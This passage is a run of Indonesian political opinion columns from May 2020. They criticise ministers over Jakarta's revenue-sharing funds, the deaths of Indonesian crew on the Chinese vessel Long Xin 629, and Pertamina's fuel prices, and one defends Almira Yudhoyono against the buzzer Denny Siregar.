saja uang rakyat Jakarta yang Rp. 5,1 triliun itu, “tegas anggota Fraksi PAN ini lagi. Ditagih ko nggak bayar. Malah balik cari-cari kesalahan. Kira-kira seperti itu logika yang ada di kepala rakyat, khususnya DKI Jakarta. Kalau nggak bisa lunasin hutang, ya minta maaf saja dong... Bukan malah cari-cari kesalahan. Rupanya, rakyat punya cara berpikirnya sendiri. Beda dengan cara berpikir para menteri itu. Dana DBH Pemprov DKI 2019 sebesar Rp. 5,1 triliun. Ditambah kuartal II tahun ini sebesar Rp. 2,4 triliun. Totalnya Rp. 7,5, triliun. Baru dicairkan oleh Kemenkeu Rp. 2,56 triliun. Sri Mulyani seharusnya tak sekedar mengkritik Pemprov DKI, tetapi segera membayar DBH penerimaan pajak yang merupakan bagian dari Pemprov DKI, kata Mujiyono, anggota DPRD DKI dari Fraksi Demokrat. Sri Mulyani sakiti hati kepada warga Ibu Kota. Begitu kata M.Taupik. “Sengak. "pernyataan Sri Mulyani tersebut 100 persen tidak sesuai fakta, alias hoaks", tegas M. Taupik. Wakil Ketua DPRD dari Gerindra ini menyayangkan pernyataan Menteri Keuangan ngawur tersebut. Tidak hanya M.Taupik. Arbi Sanit dan sejumlah tokoh juga menyesalkan sikap para menteri Jokowi itu. Dianggap tak punya anggaran, Pemprov DKI malah siapkan dana Rp. 5 triliun untuk menangani Covid-19 dan dampak ekonominya. Diantaranya, berupa bantuan yang "sudah dibagi" ke warga DKI sebelum PSBB diberlakukan. Jadi, sebelum ada PSBB, dan sebelum pemerintah pusat bergerak ngasih bansos, warga Jakarta sudah mendapat bantuan dari Pemprov DKI. Ada yang double penerimaan. Warga terima dari pemerintah daerah, terima juga dari pemerintah pusat. Harusnya tidak double, kata pihak Kementerian Sosial. Apa masalahnya kalau warga terima double? Tanya M.Taupik, wakil DPRD DKI. Toh tidak dalam waktu dan pekan yang sama, protesnya. Jadi, tidak hanya hotel bintang lima untuk tenaga medis saja yang disoal. Masyarakat Jakarta terima bantuan double juga ada pihak yang menyoal. Lepas siapa yang benar dan siapa yang salah? Mestinya urusan macam ini bisa dikomunikasikan dan didiskusikan secara internal. Kenapa tidak teleconference saja via zoom berempat. Tiga menterinya Jokowi ajak Anies diskusi. Tapi, kenapa justru dijadikan konsumsi publik? Wajar jika banyak pihak kemudian mengartikan, ini sebagai bentuk penjegalan terhadap Anies untuk menjadi Calon Presiden 2024. Rakyat kelaparan kok diseret-seret ke urusan politik 2024. Nggak elok, nggak dewasa dan nggak bermutu seru M. Taupik. “Jangan sampai perseteruan politik mengganggu perut rakyat rakyat Jakarta, “himbau M. Taupik. Rasionalitas ini otomatis muncul di benak rakyat, mengingat sering terjadinya serangan yang dianggap mendiskreditkan posisi Anies. Ini berlangsung sejak pidato pertama Anies pasca pelantikan 2017. Tak berhenti hingga sekarang. Sudah tiga tahun berjalan. Apalagi publik Jakarta membaca bahwa serangan kepada Anies ini sudah bersifat terstruktur, sistematis dan masif. Keadaan inilah yang justru membuat gelombang empati publik kepada Anies membesar. Celaknya lagi, empati itu terus membesar. Ketika semua bentuk serangan itu tak pernah direspon secara reaktif, Anies berhasil mengambil hati rakyat. Serangan akhirnya menjadi kredit poin buat Anies. Anies lebih memilih fokus kerja di tengah banjirnya serangan tersebut. Ini langkah yang sangat tepat. Meski tak perlu harus mendengungkan kata “kerja... kerja... dan kerja....” Selama hasil kerja bisa dirasakan oleh rakyat, maka akan jadi investasi sosial dan politik yang efektif buat Anies. Akhirnya, siapapun yang mencoba menyerang Anies akan berhadapan secara otomatis dengan para pendukung dan simpatisannya. Fakta ini bisa dilihat di media dan medsos. Anies punya relawan dan buzzer lepas yang berlimpah di setiap sudut kota di Indonesia. Mereka tak saling mengenal satu dengan yang lain. Sebab, mereka tak dibayar. Tiak ada kordinatornya. Tidak juga ada kaka pembina seperti buzzer yang di sebelah sono. Penulis adalah Pengamat Politik dan Pemerhati Bangsa

Tragedi Long Xin 629: Menlu Retno Marsudi Seperti Jurubicara China?

By Asyari Usman "Dari info yang diperoleh KBRI, pihak kapal telah memberitahu keluarga dan mendapat surat persetujuan pelarungan di laut tertanggal 30 maret 2020. Pihak keluarga sepakat untuk menerima kompensasi dari kapal Tian Yu 8," ujar Retno. Dua WNI lainnya meninggal saat berlayar di Samudera Pasifik dan dilarung pada Desember 2019. Kata Retno, berdasarkan informasi yang diterima pihaknya, keputusan pelarungan jenazah ini diambil kapten kapal karena kematian disebabkan penyakit menular berdasarkan persetujuan awak kapal lainnya. Tiga paragraf di atas adalah kutipan langsung dari halaman Kompas-com, edisi 8 Mei 2020. Itulah yang dikatakan oleh Menteri Luar Negeri Indonesia, Rento Marsudi, tentang kematian ABK (anak buah kapal) asal Indonesia yang bekerja penangkap ikan berbendera China. Di kapal Long Xin 629. Sayang sekali, penjelasan Menlu Rento itu mengesankan bahwa dia memfungsikan dirinya sebagai jurubicara China. Dia seolah punya misi untuk ‘meredam’ kemarahan orang Indonesia yang saat ini sedang viral. Itu terbaca dari kalimat Retno bahwa keluarga korban sudah diberitahu dan sudah mengizinkan jenazah ABK dibuang ke laut. Retno juga menonjolkan kompensasi yang telah diberikan kepada keluarga. Dia pun 'mewakili' China untuk mengatakan bahwa pelarungan (penguburan di laut) dilakukan karena ABK Indonesia yang meninggal itu menderita penyakit menular. Apakah bisa dipercaya alasan penyakit menular? Kenapa Menlu menerima begitu saja alasan itu? Kompensasi? Mengapa ini yang dikedepankan oleh Menlu Retno? Padahal, investigasi media yang terpercaya menguraikan tentang perlakuan buruk yang dialami para ABK Indonesia di kapal ikan Long Xin 629. Mereka mengaku disiksa. Bekerja rodi. Tidur cuma 3 jam. Makanan mereka berbeda dengan makanan ABK orang China. ABK Indonesia memakan ikan yang biasa digunakan untuk umpan. Sedangkan ABK China selalu menyantap ikan segar yang enak-enak. Ini pengakuan para ABK itu sendiri. Menlu mengirimkan nota diplomatik ke China. Ok-lah. Mungkin ini SOP biasa. Semoga saja ditanggapi. Tapi, sebagai Menlu, tidak seharusnya Retno mengutamakan poin-poin yang memang inginkan disebarluaskan oleh pemerintah China. Supaya mereka tampak telah melakukan cara-cara yang manusiawi. Padahal, kenyataannya orang-orang China di Long Xin 629 itu tidaklah seberadab yang digambarkan itu. Sebagai diplomat yang berpengalaman, seharusnya Retno paham bahwa di tingkat negara, pastilah China akan berusaha menutup-nutupi kekajaman dan kesadisan warga negaranya terhadap orang asing. Beijing tidak akan rela warganya diviralkan melakukan tindakan biadab terhadap ABK Indonesia. Jadi, Retno seharusnya mengeluarkan narasi yang lebih tajam lagi. Tidak perlu terlalu banyak berdiplolasi halus. Sebab, perlakuan kejam itu dialami oleh banyak ABK Indonesia. Selayaknya, Bu Retno mengangkat soal kondisi kerja yang tidak manusia di kapal-kapal China. Banyak ABK Indonesia yang mengaku bekerja 18 jam sehari. Ini ekploitasi sadis. Mereka hanya meminum air laut sulingan sedangkan ABK asal China selalu mendapat air mineral. Diskriminasi kejam. Anda, Bu Retno, di tempatkan di pos Kemenlu dengan gaji besar dan fasilitas luks untuk membela bangsamu yang diperlakukan kejam di luar sana. Bukan untuk membela China. Sejak kapan Anda ditunjuk menjadi jurubicara pemerintah China?[] 9 Mei 2020(Penulis wartawan senior)

Pertamina Peras Rakyat Rp 13,75 Triliun Selama Dua Bulan

By Marwan Batubara Jakarta FNN – Sabtu (09/05). Dalam dua bulan berturut-turut Pemerintah menetapkan harga BBM tidak turun. Berbagai hal dijadikan alasan. Menteri ESDM Arifin Tasrif pada Rapat Kerja dengan Komisi VII DPR mengatakan harga BBM tidak turun karena harga minyak dunia belum stabil. Berpotensi turun atau naik (4/5/2020). Pemerintah terus memantau dampak pemotongan produksi OPEC+ (OPEC dan Non-OPEC) dari Mei 2020, Desember 2020 hingga Januari 2021. Menurut Arifin, harga BBM di Indonesia salah satu termurah di ASEAN dan dunia. Karena itu Arifin menganggap pemerintah tidak merasa perlu menurunkan harga BBM. Kata Arifin, “kan harga BBM Indonesia sudah termasuk salah satu yang termurah di Asean” (4/5/2020). Dirut Pertamina Nicke Widyawati mengatakan harga belum turun karena Pertamina tak bisa memangkas belanja modal dan operasi. Biaya produksi dalam negeri lebih mahal dibanding di luar (21/4/2020). Biaya produksi minyak Pertamina lebih tinggi 25% dibanding harga minyak dunia. Pertamina harus menyerap 100% produksi domestik untuk mengurangi impor. Jika Pertamina stop membeli crude domestik, maka kegiatan KKKS bisa berhenti. Ini bisa menimbulkan efek negatif terhadap bisnis migas nasional, termasuk adanya Pemutusan Hubungan Kerja (PHK). Kata Nicke, penyesuaian harga akan mudah jika Pertamina menjadi trading company. Ketika harga beli murah, maka BBM bisa langsung dijual murah. Namun karena mengoperasikan kilang berbiaya produksi lebih mahal, maka harga jual BBM tidak bisa otomatis turun. Disebutkan harga impor BBM US$22,5 per barel, sementara harga beli crude Maret 2020, US$24 per barel. Karena pandemi corona kata Nicke, maka penjualan BBM turun 50% dibanding rata-rata harian. Pertamina berpotensi kehilangan keuntungan hingga 51% persen atau sekitar US$1,12 miliar dari rencana kerja dan anggaran 2020. Target laba 2020 US$2,2 miliar dan pendapatan US$58,33 miliar. Selain itu. profit bakal tergerus pula oleh selisih kurs. Terlepas apapun alasan Arifin dan Nicke, faktanya pemerintah mempunyai aturan main tentang harga jual BBM, yaitu puluhan Perpres, Permen ESDM dan Kepmen ESDM, yang terbit 2104 –2020. Perpres dimaksud adalah: No.191/2014 dan No.43/2018. Sedang Permen turunan Perpres adalah No.39/2014, No.4/2015, No.39/2015, No.27/2016, No.21/2018, No.34/2018 dan No.40/2018. Sedangkan Kepmen turunan Perpres: No.19K/2019, No.62K/2019, No.187/2019, No.62K/2020 dan No.83K/2020. Hal-hal prinsip dari berbagai peraturan di atas adalah bahwa harga BBM akan berubah, karena perubahan harga minyak dunia dan kurs rupiah terhadap dollar Amerika. Formula BBM merujuk harga BBM di Singapore Mean of Platts Singapore (MOPS) atau Argus periode tanggal 25 pada 2 bulan sebelumnya, sampai dengan tanggal 24 satu bulan sebelumnya, untuk penetapan bulan berjalan. Misalnya, sesuai Kepmen ESDM No.62K/2020, formula harga jenis Bensin di bawah RON 95, Bensin RON 98, dan Minyak Solar CN 51, adalah MOPS atau Argus + Rp 1800/liter + Margin (10% dari harga dasar). Dengan formula di atas, sesuai MOPS rata-rata 25 Februari sampai dengan 24 Maret 2020 dan kurs Rp. 15.300 per dollar, maka diperoleh harga BBM yang berlaku 1 April 2020 untuk jenis Pertamax RON 92 sekitar Rp. 5.500 dan Pertalite RON 90 sekitar Rp. 5.250 per liter. Faktanya, harga resmi BBM di SPBU masing-masing adalah Rp 9000 dan Rp 7650. Dengan demikian, jika dibanding harga sesuai formula, maka konsumen BBM Pertamax membayar lebih mahal Rp 2000 - Rp 3500 per liter. Hal yang sama juga terjadi untuk BBM Tertentu (solar) dan Khusus Penugasan (Premium). Namun dengan nilai kemahalan sekitar Rp. 1.250-1.500 per liter. Untuk semua jenis BBM rata-rata nilai kemahalan diasumsikan Rp 2000 per liter. Untuk harga BBM yang mulai berlaku 1 Mei 2020, nilai MOPS rata-rata 25 Maret sampai dengan 24 April 2020 dan kurs USD lebih rendah dibanding April. Karena itu diasumsikan konsumen semua jenis BBM secara rata-rata membayar lebih mahal sekitar Rp. 2.500 per liter. Jika selama pandemi korona konsumsi BBM untuk semua jenis BBM diasumsikan sekitar 100.000 kilo liter per hari, maka nilai kelebihan bayar untuk bulan April 2020 adalah 100.000 kl x 30 hari x Rp. 2.000 = Rp. 6 triliun. Untuk bulan Mei 2020, nilai kelebihan bayar adalah 100.000 kl x 31 x Rp. 2.500 = Rp 7,75 triliun. Sehingga selama April dan Mei 2020, konsumen BBM Indonesia diperkirakan membayar lebih mahal sekitar Rp. 13,75 triliun. Sebagian rakyat mungkin mampu membayar harga BBM sesuai ketetapan pemerintah. Harga BBM di Indonesia mungkin juga relatif lebih murah di banding harga BBM di negara lain, dan juga sudah cukup rendah di banding harga produk-barang lain. Sehingga, tidak turunnya harga BBM April dan Mei 2020 dapat dimaklumi. Namun karena berbagai alasan di bawah ini, rakyat harus menggugat pemerintah dan menuntut ganti sebesar Rp 13,75 triliun di atas. Pertama, pemerintah menetapkan formula harga BBM, dan untuk BBM umum telah diterapkan secara rutin setiap bulan sejak 2014. Jika formula tidak diterapkan pada April dan Mei 2020, walau Menteri ESDM dan Dirut Pertamina memiliki seribu alasan sekalipun, maka hal tersebut tetap saja pelanggaran sangat nyata terhadap peraturan yang harus dipertanggungjawabkan. Kedua, penyebab utama keuangan Pertamina bermasalah berpotensi gagal bayar adalah pemerintah yang bertindak melanggar berbagai aturan demi pencitraan politik sempit. Harga BBM tidak disesuaikan sesuai formula Perpres/Pemen sejak April 2016 hingga Desember 2019. Demi pencitraan politik Jokowi ini Pertamina menanggung beban subsidi sekitar Rp 80 triliun. Meskipun kelak beban tersebut akan dibayar pemerintah, namun jadwalnya tidak jelas. Ketiga, akibat kebijakan populis pemerintah, Pertamina juga menanggung utang obligasi minimal U$ 12,5 miliar yang harus dibayar bunga/kuponnya sekitar Rp 10 triliun per tahun. Keempat, Pertamina harus membeli crude produksi dalam negeri dengan harga berdasar formula Indonesia Crude Price (ICP) bernuansa moral hazard, karena lebih mahal sekitar US$ 13-15 per barel (Duri) dan US$ 8-9 per barel. Harga yang lebih mahal ini menjadi beban tambahan bagi Pertamina. Kelima, keuangan Pertamina dibebani kebijakan yang melanggar aturan dan public service obligation (PSO), yang seharusnya ditanggung oleh pemerintah, tapi tidak tersedia di ABPN. Kebijakan tersebut antara lain signature bonus untuk Blok Rokan, BBM satu harga, over quota LPG 3kg, dan lain-lain. Sebagai rangkuman, apapun alasannya harga BBM bulan Mei 2020 harus turun karena peraturan formula harga BBM masih berlaku. Jika kondisi keuangan Pertamina bermasalah, maka bukan konsumen BBM yang harus menanggung, karena masalah timbul akibat ulah Presiden dan seluruh jajaran terkait yang menyeleweng. Pelaku penyelewengan tersebut justru harus diproses hokum. Bukan malah meminta rakyat ikut menanggung dampak perbuatannya. Pelanggaran peraturan oleh pemerintah tampaknya sudah merupakan hal yang biasa terjadi dalam 4-5 tahun terakhir. Pelanggaran semakin marak karena pengawasan dan penegakan hukum oleh lembaga terkait juga tidak berfungsi secara optimal. Pengawasan oleh oleh DPR sebagai wakil rakyat juga tidak berjalan. Bahkan DPR berubah menjadi bagian dari pemerintah. Tidaklah mengherankan, kalau mantan napi terduga koruptor yang harusnya diproses hukum pun, malah diangkat menjadi Komut Pertamina. Namun, terlepas dari hal di atas, kita tetap perlu mengingatkan agar negara dijalankan berdasar hukum dan aturan yang berlaku. Jangan bersikap bebas semau gue. Pemerintah memang berkuasa dan rakyat tidak berdaya. Tetapi sebagai ummat beragama, sesuai Pancasila (kecuali bagi PKI), ingatlah bahwa ada Tuhan Yang Maha Kuasa. Mari hormati hukum dan ikut aturan main. Demi kepentingan bersama, harga BBM tidak harus rendah. Tetapi perlu diatur pada pita/ band harga tertentu. Misalnya, Rp. 8.000 – Rp. 14.000, sehingga energi tersedia berkelanjutan. Ketahanan energi menjadi meningkat, dan defisit neraca perdagangan/neraca transaksi berjalan tetap rendah. Untuk itu, perlu diterapkan sistem subsidi tepat sasaran. Pengembangan EBT terintegrasi energi fosil, dan pajak lingkungan untuk EBT. Juga skema dana stabilisasi harga BBM, serta skema dana migas, dan lain-lain. Hal ini harus menjadi konsensus nasional, dan dituangkan dalam suatu peraturan. Sebelum peraturan terbentuk, kembali ke isi di awal tulisan, jalankanlah peraturan yang berlaku. Lakukan proses hokum terhadap para penyeleweng. Berhentilah bersikap sontoloyo semau gue. Rakyat berhak menuntut ganti rugi sekitar Rp. 13,75 triliun. Dapat saja dilakukan melalui proses citizen law suit. Penulis adalah Managing Director Indonesiaan Resources Studies (IRESS)

Mana Lebih Heroik: Turun Harga BBM atau Turun ke Gang Sempit dan Gelap?

Oleh Sri Widodo Soetardjowijono Jakarta, FNN - Harga minyak dunia kembali berbalik arah ke zona negatif pada penutupan perdagangan Jumat (8/5/20), yakni US$ 23,55 per barel. Pelemahan harga minyak ini karena optimisme pelaku pasar mulai memudar yang berakibat pada pengurangan produksi beberapa perusahaan di Amerika Serikat (AS). Penurunan harga minyak di pasar global langsung diikuti oleh penurunan harga minyak di berbagai negara, termasuk negara-negara ASEAN. Delapan dari 10 negara anggota ASEAN sudah beberapa kali menurunkan harga bahan bakar minyak dalam dua bulan terakhir. Indonesia belum sama sekali. Kedelapan negara itu adalah Malaysia, Myanmar, Vietnam, Kamboja, Filipina, Thailand, Laos dan Singapura. Sementara untuk Brunei Darussalam, globalpetrolprices.com tidak menyajikan data harga BBM di negara itu. Negeri makmur Singapura sudah memangkas harga BBM sebanyak enam kali sejak Maret hingga Mei 2020. Jika dihitung dari awal tahun hingga 4 Mei 2020, harga bensin di Singapura sudah menyusut 12,18% menjadi US$ 1,37 per liter. Malaysia sudah enam kali menurunkan harga BBM, sejak dua bulan terakhir. Per 13 April 2020, harga bensin dengan kadar oktan 95 di Malaysia di level US$ 0,29 per liter atau Rp 4.387 per liter (kurs Rp 15.127 per dollar AS). Harga tersebut sudah melorot 39,58% sejak Januari 2020. Demikian juga dengan Myanmar, yang sudah sembilan kali menurunkan harga BBM selama dua bulan terakhir. Per 4 Mei 2020, harga bensin di Myanmar di posisi US$ 0,36 per liter, atau sudah menyusut 46,27% sejak awal tahun ini. Kemudian Kamboja sudah lima kali mengubah harga bensin dalam dua bulan terakhir. Per awal Mei 2020, harga BBM di Kamboja senilai US$ 0,66 per liter, atau sudah menyusut 34,65% ketimbang posisi awal tahun ini. Di Turki, pemerintah lebih fair dalam menentukan harga BBM. Dikutip dari turkinesia.net harga bahan bakar minyak di Turki telah berubah hampir setiap hari sejak awal krisis harga minyak di pasar internasional yang disebabkan oleh berkurangnya permintaan global karena virus corona. Secara keseluruhan, harga bensin dan solar di negara itu telah berubah 36 kali dalam 51 hari. Sejak 10 Maret, harga bensin berubah 24 kali, sementara harga solar berubah 12 kali. Selama periode 51 hari ini, harga bensin turun 14 kali sementara harga solar turun delapan kali. Sedangkan Indonesia belum juga memangkas harga BBM sejak Februari 2020. Ketika itu harga bensin RON 95 Indonesia pernah turun per 3 Februari 2020. Jenis BBM ini adalah Pertamax yang konsumennya sedikit. Harga itu menurun 10,45% dibandingkan posisi Januari 2020. Sementara BBM yang paling banyak dikonsumsi rakyat Indonesia yakni Pertalite dan Premium belum pernah turun hingga Mei tahun ini. Pemerintah bukannya merespons tuntutan masyarakat agar menurunkan harga BBM, tetapi justru membangun polemik baru. Menteri ESDM Arifin Tasrif terus berteori untuk mempertahankan harga BBM agar tidak turun. Tasrif mengatakan penurunan harga BBM saat ini tidak mudah dilakukan karena harga minyak dunia yang masih bakal bergejolak hingga Juni 2020. Ia bilang OPEC bahkan sudah setuju untuk memotong produksi harian minyak dunia mulai Mei sampai Juni-Juli 2020 nanti. Ia bilang akhir tahun harga minyak Indonesia atau ICP bisa kembali di angka 40 dolar AS per barel minyak. Di samping itu, Arifin juga mengaku tidak bisa mengikuti formula dalam Kepmen ESDM No 62K/MEM/2020 yang ia teken sendiri pada 28 Februari 2020. Dalam Kepmen, harga BBM Indonesia memperhitungkan harga trading minyak dan harga produk olahan BBM Singapura atau Mean Of Platts Singapore (MOPS). Direktur Utama Pertamina Nicke Widyawati tampaknya tak ada niat untuk menyesuaikan harga BBM sesuai pasar internasional. Nicke berkilah bahwa penurunan harga BBM agar berdampak pada perusahaan. Biaya pengeboran tidak bisa disetop, begitu juga kilang tak dapat dihentikan operasionalnya. “Kami tetap bayar (nilainya) besar juga. Sama saja. Karyawan jumlahnya 62 ribu, tidak mungkin tak kami bayar," kata Nicke. Pemerintah agaknya hoby curang. Ketika terjadi kenaikan harga minyak dunia, langsung dilakukan penyesuaian, tetapi ketika terjadi penurunun harga minyak, teori dan ngeles yang dikedepankan. Padahal, penyesuaian harga BBM bukan dilakukan saat harga minyak dunia naik. Penyesuaian wajib dilakukan saat harga minyak dunia turun, karena itu perintah undang-undang. Penurunan harga BBM juga bukan semata karena harga minyak dunia turun, tetapi ada nilai kemanusiaan dalam situasi sulit seperti saat ini, di mana wabah Covid-19 belum menunjukkan grafik menurun yang berdampak pada kehidupan masyarakat yang makin sulit. Setelah Kementerian ESDM dan Pertamina yang menyajikan teori pembenaran soal harga BBM, agaknya kita perlu mengetuk hati “panutan” bangsa ini. Kita rindu tausiyah Ma'ruf Amin tentang keikhlasan dan keterbukaan. Kita tahu, ia terbiasa memberikan pesan-pesan moral yang baik. Pun demikian ia seharusnya bisa meminta MUI untuk menerbitkan fatwa haram menunda kenaikan BBM, sebagaimana ia meminta MUI bikin fatwa haram mudik. Kita telah lama kehilangan suara lantang dan lugas Mahfud MD tentang pentingnya menegakkan aturan dan konsisten serta sportif dalam bernegara. Kita paham, Mahfud kalau ngomong tanpa tedeng aling-aling. Kita kangen pesan Puan Maharani tentang pembelaan terhadap kaum marhaen, tentang wong cilik yang harus selalu dilindungi dan dibela hak-haknya. Tausiyah dan pesan dari para “panutan” itu, kini tak terdengar lagi. Entah apa yang menyebabkannya. Mungkin mereka sedang menyeleksi mana yang penting dan mana yang mubazir. Semakin menunda penurunan harga BBM, maka argo dosa pemerintah ini jalan terus. Ini bukan menggunjingkan pemerintah yang berpotensi dosa seperti tuduhan Luhut Panjaitan yang meminta umat muslim tidak bergunjing di bulan puasa. Justru pemerintahlah yang berdosa pada rakyat karena menyembunyikan kebenaran. Kebenaran bahwa harga BBM hari ini masih sama dengan harga BBM saat harga minyak dunia US$70 per barel. Kita tahu hari ini harga minyak dunia hanya 23,55 US$ per barel. Ada berapa ratus miliar selisih harga yang seharusnya dinikmati rakyat. Lagi lagi saya terkesan ceramah Kyai Ma'ruf dulu saat menjadi ustadz, "Bersegerlah menuju pintu pertobatan". Inilah saatnya pemerintah untuk meratapi kekeliruannya kemudian menuju pertobatan yang nyata. Hentikan berbohong, tak hanya urusan harga BBM, tetapi di segala bidang. Rakyat butuh kejujuran pemerintah, bukan butuh bingkisan sembako yang nyatanya tak memberi solusi. Rakyat butuh konsistensi pemerintah dalam menegakkan aturan harga BBM, naik ya naik, turun ya turun, bukan reality show berdurasi pendek bagi-bagi duit di gang sempit yang gelap pada malam hari, lalu diviralkan. Ini tidak heroik. Yang diminta oleh masyarakat adalah harga BBM turun sesuai harga internasional, bukan bukan pemberian cash back dan lotre bagi ojek yang beruntung. Bagaimana negeri ini akan ditaburi keberkahan jika setiap hari dipertontonkan kebohongan dan kemunafikan? Turunkan harga BBM segera, ini baru heroik. Penulis Wartawan Senior.

Menko Luhut Harus Bertanggungjawab Atas Kematian Pelaut WNI di Kapal Cina

Oleh Natalius Pigai Jakarta, FNN - Kematian WNI pelaut di kapal China adalah merupakan Tanggungjawab Luhut Panjaitan Menko Maritim. Hampir semua aturan internasional dan juga nasional yang mengatur tentang Pelaut (seafarer) bukan tanggungjawab Kemnterian Tenaga Kerja tetapi Kementerian Perhubungan dan tanggungjawab Menko Maritim. Berbagai landasan hukum international juga nasional telah memberi otoritas tetapi saya duga soal-soal ini diabaikan bahkan tidak diperhatikan. Secara hukum international Indonesia telah memiliki kekuatan untuk menjamin kepastian bagi pelaut (seafarer) dan kapalnya. Sejak 1961 Indonesia menjadi Anggota International Maritim Organisations (IMO) International Convention for Safety of Life at Sea (SOLAS) The International Convention on Standards of Training, Certification and Watchkeeping for Seafarers (STCW) Maritime Labour Convention (MLC) 2006. Untuk Indonesia, Pemerintah RI sudah meratifikasi MLC 2006 dan menjadikannya UU RI dengan disahkannya UU nomor 15 tahun 2016. Berdasarkan fakta bahwa fokus pemerintahan Presiden Joko Widodo adalah sektor maritim dengan program Poros Maritim Dunia-nya, maka perlindungan terhadap tenaga kerja sektor maritim terutama mereka yang bekerja pada kapal-kapal internasional sangatlah perlu untuk pemantapan, penegakan dan perlundungan pelaut. Upaya penegakan hak-hak pelaut internasional belum maksimal diterapkan oleh Pemerintah RI dalam kapasitas sebagai Negara Bendera maupun sebagai Negara Pelabuhan. Upaya tersebut memerlukan kerja keras Menko Maritim dan Menteri Luar Negeri. Apalagi soal Tenaga Kerja Pelaut, Keselamatan dan sertifikasi diurus Kementerian Perhubungan berdasarkan Permenhub 40 tahun 2019. Oleh karena itu saya mengecam Menko Maritim yang tidak peduli dengan keselamatan Pelaut ( seafarer). Menko Maritim harus bertanggungjawab mengusahakan proses hukum yang adil, ganti rugi yang pantas, dan membuat perjanjian bilateral dengan China. Penulis Aktivis Kemanusiaan.

Denny Serang Almira Yudhoyono, Siapa Kuasa dan Raksasanya?

By Rachlan Nasidik Jakarta FNN – Jum’at (08/05). Denny Siregar adalah pendukung fanatik Jokowi. Modal di kepalanya sebenarnya tidak banyak. Pengetahuan juga kurang. Logika lemah. Kritisisme apa lagi, sangat minus. Toh dia memiliki tempat terhormat di antara buzzer istana. Dianggap lebih pintar dari rata-rata mereka. Jadilah Denny Siregar ini buzzer Jokowi papan atas. Orang pintar hanya bisa membela dalam batas kepantasan. Orang bodoh bahkan tak tahu batas itu ada. Birds of a feather flocks together. Orang bodoh membela orang bodoh. Mungkin karena menjadi pintar, berarti tak mungkin menjadi fanatik. Tulisan-tulisan Denny bicara dua hal saja. Pertama, membenarkan Jokowi. Kedua, memperolok orang yang berpendirian berbeda. Tidak ada analisa yang serius atau apalagi jujur. Isinya cuma propaganda. Tapi dalam dunia buzzer, hal begitu biasa saja. Yang tidak biasa adalah Denny Siregar menjadikan anak kecil sebagai bahan untuk menyerang orang-tua si anak sendiri. Biasanya, Denny cuma murahan. Tapi kali ini, Denny keterlaluan. Dia menyerang Almira Yudhoyono, anak kelas 6 Sekalah Dasar, yang berumur 12 tahun. Dari namanya, dapat dipertalikan kalau Almira Yudhoyono adalah cucunya Presiden Indonesia ke-6 Soesilo Bambang Yudhoyono (SBY). Dia putri semata wayang pasangan Agus Harimurti Yudhoyono dan Anisa Pohan. Sampai di sini, anda mengerti kenapa Denny merendahkan anak kecil itu? Ya, Denny dikenal sebagai membenci keluarga Yudhoyono. Tapi sebagai buzzer Jokowi, apalagi tokohnya di papan atas, kebencian itu lumrah saja. Apalagi SBY adalah figur Presiden pembanding terdekat untuk mengukur keberhasilan atau kegagalan Jokowi. Maka, SBY dan keluarganya tiap hari harus "dibunuh" agar Jokowi selalu cukup jelas kelihatan. Itu mereka lakukan sejak hari pertama di istana. Menjadi antitesa terhadap SBY, tadinya mungkin hanya strategi. Tapi lama-kelamaan berubah menjadi obsesi yang paling penting. Dan mereka terjebak di situ. Sebab, ternyata menjadi Presiden itu, butuh lebih dari memberi janji atau berfoto solo. Kembali ke serangan Denny. Yang tidak lumrah adalah, Almira diserang karena dia tumbuh menjadi anak yang berpikiran kritis, dan tidak takut menyatakan pendapatnya. Dia dididik di sekolahnya dalam praktek kebebasan akademis. Almira dicurigai karena dia pandai menulis dan berpendapat dalam bahasa Inggris. Almira juga disalahkan, karena ia tumbuh menjadi anak berprestasi. Denny Siregar menganggap, pada Almira semua itu adalah serangan politik kepada junjungannya Jokowi. Akibatnya, kebebasan akademis, pikiran kritis, kemampuan menulis dan bependapat dalam bahasa Inggris menjadi soal yang tabu. Entah, mungkin karena pada Jokowi satupun itu tak ada. Tapi kalau begitu, Denny seharusnya bukan cuma menyerang keluarga Yudhoyono. Toh, seorang anak tak mempunyai kebebasan apapun di dunia ini untuk minta dilahirkan sebagai anak siapa. Denny juga seharusnya menyerang sekolah Almira. Sebab Almira menulis opini itu, dalam bahasa Inggris yang bagus, untuk memenuhi tugas dari sekolahnya. Opini itu wajib dikemas ke dalam naskah pidato untuk dibacakan di hadapan Presiden. Almira memilih masalah lockdown sebagai tema tulisannya. Tentu, Almira tidak sungguh-sungguh akan berpidato di hadapan Presiden. Itu cuma seolah-olah. Hanya berlatih untuk berimajinasi. Hanya cara mendidik anak untuk berani berpendapat. Sekolah Almira mungkin terinspirasi oleh aktivitas Unicef. Denny Siregar pasti tak tahu bahwa badan PBB itu bersuara lantang di masa Pandemi Covid-19 ini. Mendesak agar setiap pemerintahan di dunia ini mendengar dan memperhitungkan suara anak-anak ke dalam kebijakan mitigasi pandemi. Di Inggris, Unicef mendorong anak-anak untuk menulis kepada pemerintahnya. Menulis tentang apa saja yang menjadi pendapat mereka. Juga harapan mereka dalam hidup yang sulit akibat pandemic ini. Denny Siregar tak tahu itu. Mungkin karena Unicef tak punya program yang sama untuk anak-anak di Indonesia. Mungkin Unicef tahu, mustahil melakukannya di Indonesia, tanpa membuat anak-anak dipandang menyerang pemerintah. Dan menjadi korban perundungan oleh buzzer pendukung fanatik Jokowi, seperti yang dilakukan Denny Siregar pada Almira Yudhoyono. Denny Siregar adalah lelaki dewasa dengan pikiran yang terbelakang dan sewenang-wenang. Bila ia juga seorang ayah, sungguh malang anak-anaknya. Tapi, siapa tahu, mungkin ia sendiri dibesarkan oleh orang tuanya yang berpikiran sama. Denny tidak percaya bahwa seorang anak, apalagi baru belasan tahun, mampu mengembangkan dan memiliki pikiran dan pendapat sendiri. Apalagi pikiran dan pendapat yang kritis. Denny terkaget-kaget, sehingga tak bisa menerima kenyataan kalau Almira Yudhoyono adalah anak kritits dan berani untuk mengemukakan berpendapat yang berbeda. Mungkin baginya, seorang anak, dari pada terlibat dalam pemikiran kritis, seharusnya cukup menghafal nama-nama, atau membaca komik-komik Sinchan. Tapi kalau begitu adanya, maka itu dalam sebuah ironi. Semoga saja Denny juga berani bilang kepada Jokowi bahwa, bacaan Presiden tak pantas kalau cuma komik anak-anak. Entah apakah dia tahu Greta Thurnberg. Aktivis Swedia yang bulan Januari tahun ini baru merayakan ulang tahunnya yang ke 17. Inilah remaja perempuan yang ditulis oleh majalah Time sebagai tokoh yang juga paling berpengaruh di dunia. Pada usia 15 tahun, Greta Thurnberg memimpin 